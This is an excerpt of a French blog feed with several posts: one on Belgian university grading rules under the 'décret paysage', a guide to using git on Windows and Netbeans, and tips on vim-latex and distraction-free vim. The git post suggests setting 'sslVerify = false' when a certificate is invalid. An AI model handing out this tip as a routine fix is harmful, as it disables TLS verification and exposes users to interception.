&lt;p&gt;Jadis, un étudiant devait avoir une moyenne de 12/20 pour réussir. &lt;a href="2013-10-01-decret-paysage-marcourt-1.html"&gt;Ça c&amp;rsquo;était avant (voir « La réussite à 10 »)&lt;/a&gt;. &lt;a href="2013-11-13-decret-paysage-marcourt-2.html"&gt;J&amp;rsquo;ai déjà dit que la marge de manœuvre lorsque je cote s&amp;rsquo;était réduite de moitié lors de l&amp;rsquo;adoption du décret paysage (voir « Le décret paysage, deuxième »)&lt;/a&gt;. Qu&amp;rsquo;en est-il des points de balance ?&lt;/p&gt;
&lt;p&gt;Actuellement un étudiant ayant une moyenne de 12/20 peut bénéficier de cadeaux (automatiques ou pas) et réussir son année avec un 8/20… ou deux… voire plus en fonction de l&amp;rsquo;établissement. Cette habitude de faire des cadeaux vient du fait que, la moyenne étant à 12/20, on accepte généralement qu&amp;rsquo;un étudiant aie un échec dans un cours. Cet échec est &lt;strong&gt;compensé&lt;/strong&gt;. Cette habitude est également bien pratique pour &lt;strong&gt;donner un signal&lt;/strong&gt; à un étudiant.&lt;/p&gt;
&lt;p&gt;— Je trouve que tu n&amp;rsquo;as pas les acquis minimaux dans ce cours mais, si c&amp;rsquo;est le seul, je ne veux pas t&amp;rsquo;arrêter.&lt;/p&gt;
&lt;p&gt;Cet accident sera visible sur le bulletin de l&amp;rsquo;étudiant. Un employeur potentiel pourra voir sur le bulletin que l&amp;rsquo;étudiant en question est « moins bon » &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; dans ce domaine. Ce qui ne veut pas dire qu&amp;rsquo;il le restera toute sa carrière.&lt;/p&gt;
&lt;p&gt;Puis vient le décret paysage (ou décret Marcourt) et ça discute dans les salles de profs ! Il y a ceux qui trouvent qu&amp;rsquo;une moyenne de 10/20, c&amp;rsquo;est pas grand chose et que ça ne nécessite plus que l&amp;rsquo;on accorde des points de balance. Le cadeau est déjà fait. Et il y a ceux qui veulent encore pardonner un accident en octroyant des points de balance … si l&amp;rsquo;accident est « compensé ».&lt;/p&gt;
&lt;p&gt;Le soucis, c&amp;rsquo;est que la notion d&amp;rsquo;année fond jusqu&amp;rsquo;à disparaitre et que l&amp;rsquo;arrivée des UE (unité d&amp;rsquo;enseignement) va cacher les cotes des AA (activités d&amp;rsquo;enseignement).&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;une situation d&amp;rsquo;une douzaine de cours dont la moyenne devait être supérieure à 12/20, on arrive à une situation de 6,7 UE qui doivent chacune valoir 10 ! La moyenne n&amp;rsquo;aura d&amp;rsquo;intérêt que lors de l&amp;rsquo;attribution du grade… en fin de cursus.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ce n&amp;rsquo;est donc pas un petit changement, c&amp;rsquo;est radicalement différent !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant Marcourt, donner un 9/20 c&amp;rsquo;était plus que probablement permettre à l&amp;rsquo;étudiant de passer (au pire en R48). Après Bologne que signifie un 9/20 &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; ?&lt;/p&gt;
&lt;p&gt;Un 9/20 pour une UE signifie que l&amp;rsquo;UE n&amp;rsquo;est pas acquise. Il faut la recommencer.&lt;/p&gt;
&lt;p&gt;Le grand jury &lt;strong&gt;peut&lt;/strong&gt; décider de remonter la cote à 10/20 s&amp;rsquo;il le désire. Dans quelles conditions sera ce grand jury pour faire ce choix.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il est fort probable que le jury n&amp;rsquo;aura pas d&amp;rsquo;emblée connaissance des cotes des AA constitutives de l&amp;rsquo;UE &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;Si le grand jury remonte la cote, il s&amp;rsquo;agit bien de transformer le 9 (ou 8,7…) en 10. Le 9/20 disparait et ne sera plus visible, ce n&amp;rsquo;est plus un signal donné à l&amp;rsquo;étudiant.&lt;/li&gt;
&lt;li&gt;En cas de vote, il y aura une voix par UE (et pas par AA constituant l&amp;rsquo;UE), ce qui devrait demander une concertation des profs donnant les AA dans l&amp;rsquo;UE à cet étudiant… ou pas. Le vote sera secret car c&amp;rsquo;est un « vote de personne ».&lt;/li&gt;
&lt;li&gt;Certains ne se sentiront pas respecté si le grand jury remet leur cote en question.&lt;/li&gt;
&lt;li&gt;Il n&amp;rsquo;y a que très peu d&amp;rsquo;UE, il n&amp;rsquo;y aurait donc à ce niveau que très peu de points de balance. En janvier par exemple, sur 3,4 UE, il sera difficile d&amp;rsquo;accorder des points de balance sur base de l&amp;rsquo;évolution favorable de l&amp;rsquo;étudiant.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je m&amp;rsquo;imagine plutôt un grand jury actant les UE réussies et les UE ratées. Il aura déjà pas mal à faire avec la valorisation des crédits et la gestion des équivalences.&lt;/p&gt;
&lt;p&gt;Si le grand jury n&amp;rsquo;octroie pas de points de balance, que se passera-t-il au sein d&amp;rsquo;une UE ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et c&amp;rsquo;est plutôt là que la discussion semble prendre place.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cas de figure #1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une AA au sein d&amp;rsquo;une UE est finalement semblable à un chapitre d&amp;rsquo;un cours. En ce sens, il suffit de calculer la moyenne pondérée et permettre de faire l&amp;rsquo;impasse sur un chapitre… donc sur une AA.&lt;/p&gt;
&lt;p&gt;Pratique pour l&amp;rsquo;étudiant, pas cool pour le prof qui donne une AA faiblement pondérée… il peut rester à la maison !&lt;/p&gt;
&lt;p&gt;Possibilité de faire l&amp;rsquo;impasse sur une AA mais il faut atteindre une moyenne de 10.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cas de figure #2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une AA est comme un cours et les UE sont comme des « petites années » qui justifient une délibé de la part des profs qui donnent cours dans l&amp;rsquo;UE.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;est pas possible de faire l&amp;rsquo;impasse sur une AA et l&amp;rsquo;on peut envisager d&amp;rsquo;autoriser des points de balance. Dans ce cas, il risque d&amp;rsquo;y avoir plus de points de balance « dans l&amp;rsquo;ensemble ».&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cas de figure #3&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On ne s&amp;rsquo;embarrasse plus d&amp;rsquo;octroyer des points de balance et on impose le seuil (cher au décret) de 10/20. La cote de l&amp;rsquo;UE est la moyenne pondérée si chaque cote d&amp;rsquo;AA est &amp;gt;10 sinon, c&amp;rsquo;est la plus petite des cotes (c&amp;rsquo;est la méthode dite de &lt;em&gt;la note absorbante&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Cela implique que la manière de coter doit changer. Dès lors que j&amp;rsquo;estime (dans une AA) que les acquis minimaux ne sont pas acquis, je mets &amp;lt;10 et je sais que l&amp;rsquo;UE ne sera pas accordée.&lt;/p&gt;
&lt;p&gt;Si je ne veux pas que l&amp;rsquo;étudiant soit arrêté (pour cette UE), ma cote doit être supérieure à 10.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée, dans cette optique, c&amp;rsquo;est que toutes les épreuves soient intégrées &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;… et je pense que c&amp;rsquo;est là que le décret veut nous mener… ce qui ne va pas être simple car ça doit faire évoluer les mentalités.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;ici là, discutons, argumentons… essayons de trouver un accord… tout en faisant confiance aux enseignants dont un des objectifs est de permettre à l&amp;rsquo;étudiant sortant de trouver sa place sur le marché du travail.&lt;/p&gt;
&lt;p&gt;À réfléchir…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://picturethis27.deviantart.com/art/SeeSaw-179881643"&gt;SeeSaw&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Comprendre que le prof estime qu&amp;rsquo;il n&amp;rsquo;a pas les acquis minimaux (au temps &lt;em&gt;t&lt;/em&gt;).&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Avant Marcourt, après Bologne, il faut suivre hein ! Je répète. Jusqu&amp;rsquo;en 2013-2014 l&amp;rsquo;enseignement tombe sous le coup du décret Bologne. À partir de 2014-2015, c&amp;rsquo;est le décret paysage (aussi appelé décret Marcourt) qui fait loi … pour les étudiants de première. Les autres étant (plus ou moins parce que la réussite à 10 est acquises) mangé à la sauce avec laquelle ils ont été nappés !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je sais que c&amp;rsquo;est en discussion au niveau de certains développeurs de logiciel de gestion de cote des étudiants … mais pour l&amp;rsquo;instant, rien n&amp;rsquo;est décidé. Je vois mal faire circuler le détail de chaque UE pour tous les étudiants, simplement pour accorder l&amp;rsquo;un ou l&amp;rsquo;autre point de balance.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Épreuve intégrée signifie que les profs interrogent pour toutes les AA d&amp;rsquo;une UE en même temps et produisent ensemble la cote de l&amp;rsquo;UE.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Git, c'est facile… sous windows moins</title><link href="http://blog.namok.be/2014-10-01-git-windows-netbeans.html" rel="alternate"/><published>2014-10-01T00:00:00+02:00</published><updated>2014-10-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-10-01:/2014-10-01-git-windows-netbeans.html</id><summary type="html">Git, c'est facile… sous windows moins</summary><content type="html">&lt;p&gt;&lt;em&gt;Ou comment utiliser git sous Windows / Netbeans ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="window-acidedcom-e10241dde477e54d42f70a8d30f698f8-d5jjjgh.jpg" src="/images/window-acidedcom-e10241dde477e54d42f70a8d30f698f8-d5jjjgh.jpg" title="window-acidedcom-e10241dde477e54d42f70a8d30f698f8-d5jjjgh.jpg, sept. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Après avoir pris connaissance de ce qu&amp;rsquo;est git, je veux essayer ! Voici les deux questions que je me pose après avoir fait la manip avec ma console linux :&lt;/p&gt;
&lt;p&gt;— Quelles sont les différences entre une installation &lt;strong&gt;linux&lt;/strong&gt; et une installation sous &lt;strong&gt;Windows&lt;/strong&gt; ?&lt;br&gt;
— Comment faire pour utiliser git avec &lt;strong&gt;Netbeans&lt;/strong&gt; ?&lt;/p&gt;
&lt;h3&gt;Installation de git&lt;/h3&gt;
&lt;p&gt;Pour pouvoir utiliser &lt;em&gt;git&lt;/em&gt; en ligne de commande (ce sera peut-être utile pour contrôler l&amp;rsquo;une ou l&amp;rsquo;autre chose… et pour générer ses clés ssh), il faut l&amp;rsquo;installer \°/&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;linux&lt;/strong&gt; Installation du paquet &lt;code&gt;git&lt;/code&gt; via le gestionnaire de paquet et ouverture d&amp;rsquo;une console.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt; Installation de &lt;code&gt;Git bash&lt;/code&gt; via &lt;a href="http://git-scm.com/"&gt;git-scm&lt;/a&gt;. Après quelques &lt;em&gt;next&lt;/em&gt; et le lancement de  « Git », on se retrouve devant une console &lt;em&gt;mingwin&lt;/em&gt; et les outils &lt;em&gt;git&lt;/em&gt;. C&amp;rsquo;est une émulation de &lt;em&gt;bash&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Génération des clés ssh&lt;/h3&gt;
&lt;p&gt;Il est plus facile de communiquer avec un serveur &lt;em&gt;git&lt;/em&gt; en &lt;em&gt;ssh&lt;/em&gt;. Pour ce faire, il est nécessaire de générer une clé ssh privée et une clé ssh publique.&lt;/p&gt;
&lt;p&gt;Le programme &lt;code&gt;ssh-keygen&lt;/code&gt; permet la génération des clés.&lt;br&gt;
Sans paramètre, il crée les deux fichiers &lt;code&gt;id_rsa&lt;/code&gt; et &lt;code&gt;id_rsa.pub&lt;/code&gt; en utilisant le login avec lequel on est connecté et le hostname de la machine. L&amp;rsquo;email utilisé sera &lt;code&gt;login@hostname&lt;/code&gt;. Dans ce cadre, c&amp;rsquo;est bien ainsi.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;linux&lt;/strong&gt; &lt;code&gt;$ ssh-keygen&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Windows&lt;/strong&gt; &lt;code&gt;$ ssh-keygen.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;La clé publique doit être déposée sur le serveur git que l&amp;rsquo;on veut utiliser &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; via l&amp;rsquo;interface &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="git-1.png" src="/images/git-1.png" title="git-1.png, sept. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="git-2.png" src="/images/git-2.png" title="git-2.png, sept. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="git-3.png" src="/images/git-3.png" title="git-3.png, sept. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Pour que la communication &lt;em&gt;ssh&lt;/em&gt; se passe convenablement, il est nécessaire d&amp;rsquo;utiliser un programme qui va gérer les clés privées. Il s&amp;rsquo;agit de &lt;code&gt;ssh-agent&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;linux&lt;/strong&gt; Sous XFCE4, il semble que ce soit &lt;em&gt;xfce-session&lt;/em&gt; qui est responsable du lancement du &lt;code&gt;ssh-agent&lt;/code&gt;.&lt;br&gt;
&lt;strong&gt;Windows&lt;/strong&gt; Dans la console &lt;em&gt;Git bash&lt;/em&gt; lancer &lt;code&gt;eval $(ssh-agent -s)&lt;/code&gt; à chaque utilisation &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;À ce stade un &lt;code&gt;git clone git@[host]:[repository]&lt;/code&gt; dans la console (linux) ou dans la console Git (windows) devrait fonctionner.&lt;/p&gt;
&lt;h3&gt;Pas de console, un IDE: Netbeans&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;(À titre personnel, je conseille d&amp;rsquo;utiliser &lt;code&gt;git&lt;/code&gt; dans une console.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pour cloner le repository via &lt;strong&gt;Netbeans&lt;/strong&gt;, cliquer sur l&amp;rsquo;onglet &lt;em&gt;Team / Clone&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Les paramètres à encoder sont:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;url fournie par le site;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;utilisateur &amp;ldquo;git&amp;rdquo; (et pas votre login);&lt;/li&gt;
&lt;li&gt;un lien vers le fichier contenant votre clé privée;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="git-5.png" src="/images/git-5.png" title="git-5.png, sept. 2014"&gt;&lt;/p&gt;
&lt;h3&gt;Je suis un rebelle, je ne veux pas utiliser git/ssh mais https&lt;/h3&gt;
&lt;p&gt;L&amp;rsquo;url de la forme &lt;code&gt;git@[host]:[repository]&lt;/code&gt; repose sur &lt;em&gt;ssh&lt;/em&gt; tandis que l&amp;rsquo;url de la forme &lt;code&gt;https://[host]/[user]/[repository]&lt;/code&gt; se base sur le protocole &lt;em&gt;http(s)&lt;/em&gt;. Pour utiliser cette url, pas besoin de partager sa clé ssh, il suffit d&amp;rsquo;utiliser son login et son mot de passe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Petite astuce&lt;/strong&gt; S&amp;rsquo;il appert que le certificat du site n&amp;rsquo;est pas valide, &lt;em&gt;git&lt;/em&gt; n&amp;rsquo;acceptera pas de travailler. À fortiori, &lt;strong&gt;Netbeans&lt;/strong&gt; non plus. Il faudra signaler à &lt;em&gt;git&lt;/em&gt; que ce n&amp;rsquo;est pas grave en ajoutant dans son fichier de conf (&lt;code&gt;~/.git/config&lt;/code&gt; par exemple &lt;code&gt;C:\elsewhere-user-profil\.gitconfig&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[http]   
    sslVerify = false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bonne collaboration…  &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://acidedcom.deviantart.com/art/Window-335155265"&gt;acidedcom&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Dans le cadre de l&amp;rsquo;ÉSI, c&amp;rsquo;est &lt;a href="https://git.esi.heb.be/"&gt;git.esi&lt;/a&gt; et c&amp;rsquo;est le même principe chez &lt;a href="https://gitlab.com/"&gt;gitlab&lt;/a&gt; et &lt;a href="https://blog.namok.be/https.//github.com"&gt;github&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Notez l&amp;rsquo;absence du &lt;code&gt;.exe&lt;/code&gt;. Il est bien sûr possible d&amp;rsquo;automatiser ce lancement … j&amp;rsquo;imagine.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Éditer rapidement ses fichiers LaTeX avec vim</title><link href="http://blog.namok.be/2014-09-08-editer-rapidement-ses-fichiers-latex-avec-vim.html" rel="alternate"/><published>2014-09-08T00:00:00+02:00</published><updated>2014-09-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-09-08:/2014-09-08-editer-rapidement-ses-fichiers-latex-avec-vim.html</id><summary type="html">Éditer rapidement ses fichiers LaTeX avec vim</summary><content type="html">&lt;p&gt;&lt;img alt="butterfly.jpg" src="/images/butterfly.jpg" title="butterfly.jpg, sept. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR vim-latex pour éditer, avec vim, ses fichiers LaTeX&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vim is undoubtedly one of the best editors ever made. LaTeX is an extremely powerful, intelligent typesetter. Vim-LaTeX aims at bringing together the best of both these worlds.&lt;br&gt;
vim-latex team&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://vim-latex.sourceforge.net/"&gt;vim-latex&lt;/a&gt;&lt;/em&gt; est une suite de macros pour &lt;a href="https://vim.org"&gt;vim&lt;/a&gt; permettant d&amp;rsquo;éditer plus rapidement son code &lt;a href="http://tex.org/"&gt;LaTeX&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Par exemple si, en mode édition, j&amp;rsquo;entre &lt;code&gt;ECT&lt;/code&gt;, &lt;em&gt;vim-latex&lt;/em&gt; le transforme en&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;\begin&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;center&lt;span class="nb"&gt;}&lt;/span&gt; 
    &lt;span class="c"&gt;% curseur ici &lt;/span&gt;
&lt;span class="k"&gt;\end&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;center&lt;span class="nb"&gt;}&lt;/span&gt;&amp;lt;++&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;place le curseur au bon endroit et l&amp;rsquo;entrée de &lt;code&gt;Ctrl-j&lt;/code&gt; supprime les &lt;code&gt;&amp;lt;++&amp;gt;&lt;/code&gt; et place, à nouveau, le curseur au bon endroit, c&amp;rsquo;est à dire à la fin de l&amp;rsquo;environnement.&lt;/p&gt;
&lt;p&gt;Tous les raccourcis sont visibles dans le menu de &lt;em&gt;gVim&lt;/em&gt; (qui a changé pour l&amp;rsquo;occasion). Il existe également une &lt;em&gt;&lt;a href="http://www.michaelgoerz.net/refcards/#latexsuite"&gt;quickref&lt;/a&gt;&lt;/em&gt; bien pratique.&lt;/p&gt;
&lt;p&gt;La touche &lt;code&gt;&amp;lt;F5&amp;gt;&lt;/code&gt; est également magique. Si l&amp;rsquo;on ne se souvient pas des raccourcis, il suffit d&amp;rsquo;entrer le nom de l&amp;rsquo;environnement suivi de &lt;code&gt;&amp;lt;F5&amp;gt;&lt;/code&gt; pour qu&amp;rsquo;il soit remplacé. Si je ne me rappelle plus que &lt;code&gt;EEN&lt;/code&gt; est le raccourci pour l&amp;rsquo;environnement &lt;em&gt;enumerate&lt;/em&gt;. Qu&amp;rsquo;à cela ne tienne, j&amp;rsquo;entre &lt;code&gt;enumerate&amp;lt;F5&amp;gt;&lt;/code&gt; et &lt;em&gt;vim-latex&lt;/em&gt; le transforme en&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;\begin&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;enumerate&lt;span class="nb"&gt;}&lt;/span&gt; 
    &lt;span class="k"&gt;\item&lt;/span&gt; &lt;span class="c"&gt;% curseur ici &lt;/span&gt;
&lt;span class="k"&gt;\end&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;enumerate&lt;span class="nb"&gt;}&lt;/span&gt;&amp;lt;++&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:~#&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;vim-latexsuite&lt;span class="w"&gt; &lt;/span&gt;
:~$&lt;span class="w"&gt; &lt;/span&gt;vim-addons&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;latex-suite
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;comme indiqué dans le &lt;em&gt;readme&lt;/em&gt; &lt;code&gt;/usr/share/doc/vim-latexsuite/README.Debian&lt;/code&gt;. Un peu plus bas, le &lt;em&gt;readme&lt;/em&gt; (encore lui) me propose d&amp;rsquo;ajouter ces lignes dans mon &lt;code&gt;.vimrc&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;filetype plugin on 
set grepprg=grep&lt;span class="k"&gt;\&lt;/span&gt; -nH&lt;span class="k"&gt;\&lt;/span&gt; &lt;span class="s"&gt;$&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt; &lt;/span&gt;
&lt;span class="nb"&gt;filetype indent on &lt;/span&gt;
&lt;span class="nb"&gt;let g:tex_flavor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;&amp;#39;latex&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ce que je fais.&lt;/p&gt;
&lt;p&gt;Je constate que « je perds mon &lt;code&gt;é&lt;/code&gt; » mais aucun autre caractère accentué ! Étrange et stressant… mais le blog &lt;a href="http://www.causeries-numeriques.fr/post/2007/08/31/vim-et-Latex"&gt;causeries numériques&lt;/a&gt; apporte la solution.&lt;/p&gt;
&lt;p&gt;Ajouter le fichier &lt;code&gt;~/.vim/ftplugin/tex.vim&lt;/code&gt; contenant&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;quot; le bug du é 
&amp;quot; voir http://www.causeries-numeriques.fr/post/2007/08/31/vim-et-Latex 
imap &amp;lt;C-b&amp;gt; &amp;lt;Plug&amp;gt;Tex_MathBF 
imap &amp;lt;C-c&amp;gt; &amp;lt;Plug&amp;gt;Tex_MathCal 
imap &amp;lt;C-l&amp;gt; &amp;lt;Plug&amp;gt;Tex_LeftRight 
imap &amp;lt;buffer&amp;gt; &amp;lt;leader&amp;gt;it &amp;lt;Plug&amp;gt;Tex_InsertItemOnThisLine
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tout est en place. Il est maintenant facile d&amp;rsquo;éditer plus rapidement son code LaTeX avec &lt;a href="https://vim.org"&gt;vim&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="http://500px.com/photo/65158073/butterfly-by-sandro-"&gt;Sandro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Comment faire de ton éditeur vim, un éditeur distraction free ?</title><link href="http://blog.namok.be/2014-08-28-vim-distraction-free.html" rel="alternate"/><published>2014-08-28T00:00:00+02:00</published><updated>2014-08-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-08-28:/2014-08-28-vim-distraction-free.html</id><summary type="html">Comment faire de ton éditeur vim, un éditeur distraction free ?</summary><content type="html">&lt;p&gt;&lt;img alt="Aligned_by_Reacher16.jpg" src="/images/Aligned_by_Reacher16.jpg" title="Aligned_by_Reacher16.jpg, août 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; Focuswriter c&amp;rsquo;est bien… mais si vim lui ressemble, c&amp;rsquo;est mieux !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2014-03-14-howto-vim.html"&gt;J&amp;rsquo;aime bien utiliser vim&lt;/a&gt;.&lt;br&gt;
J&amp;rsquo;aime bien un éditeur &lt;em&gt;distraction free&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Comment avoir le meilleur des deux mondes ?&lt;/p&gt;
&lt;p&gt;Il existe trois plugins pour &lt;a href="http://vim.org/"&gt;vim&lt;/a&gt; qui font le boulot; &lt;a href="https://mikewest.github.io/vimroom/"&gt;vimroom&lt;/a&gt;, &lt;a href="https://github.com/bilalq/lite-dfm"&gt;litedfm&lt;/a&gt; et &lt;a href="https://github.com/junegunn/goyo.vim"&gt;goyo&lt;/a&gt;. Goyo ne fonctionne pas chez moi, &lt;a href="https://github.com/bilalq/lite-dfm"&gt;litedfm&lt;/a&gt; ne centre pas mais fait simplement une marge à gauche tandis que &lt;a href="https://mikewest.github.io/vimroom/"&gt;vimroom&lt;/a&gt; semble faire le boulot.&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;utilise gvim, je ne sais pas complètement mettre la fenêtre en plein écran mais je peux conserver mon choix de couleur &lt;a href="http://ethanschoonover.com/solarized"&gt;solarized&lt;/a&gt;. Si je veux complètement travailler en &lt;em&gt;distraction free&lt;/em&gt;, je lance une console que je mets en plein écran et ensuite je lance &lt;em&gt;vimroom&lt;/em&gt; dans la console.&lt;/p&gt;
&lt;p&gt;Pour conserver mes couleurs, je dois positionner correctement la couleur du fond. Pour &lt;em&gt;solarized&lt;/em&gt;, c&amp;rsquo;est&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;let g:vimroom_guibackground = &amp;quot;#fdf6e3&amp;quot; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et voilà …&lt;/p&gt;
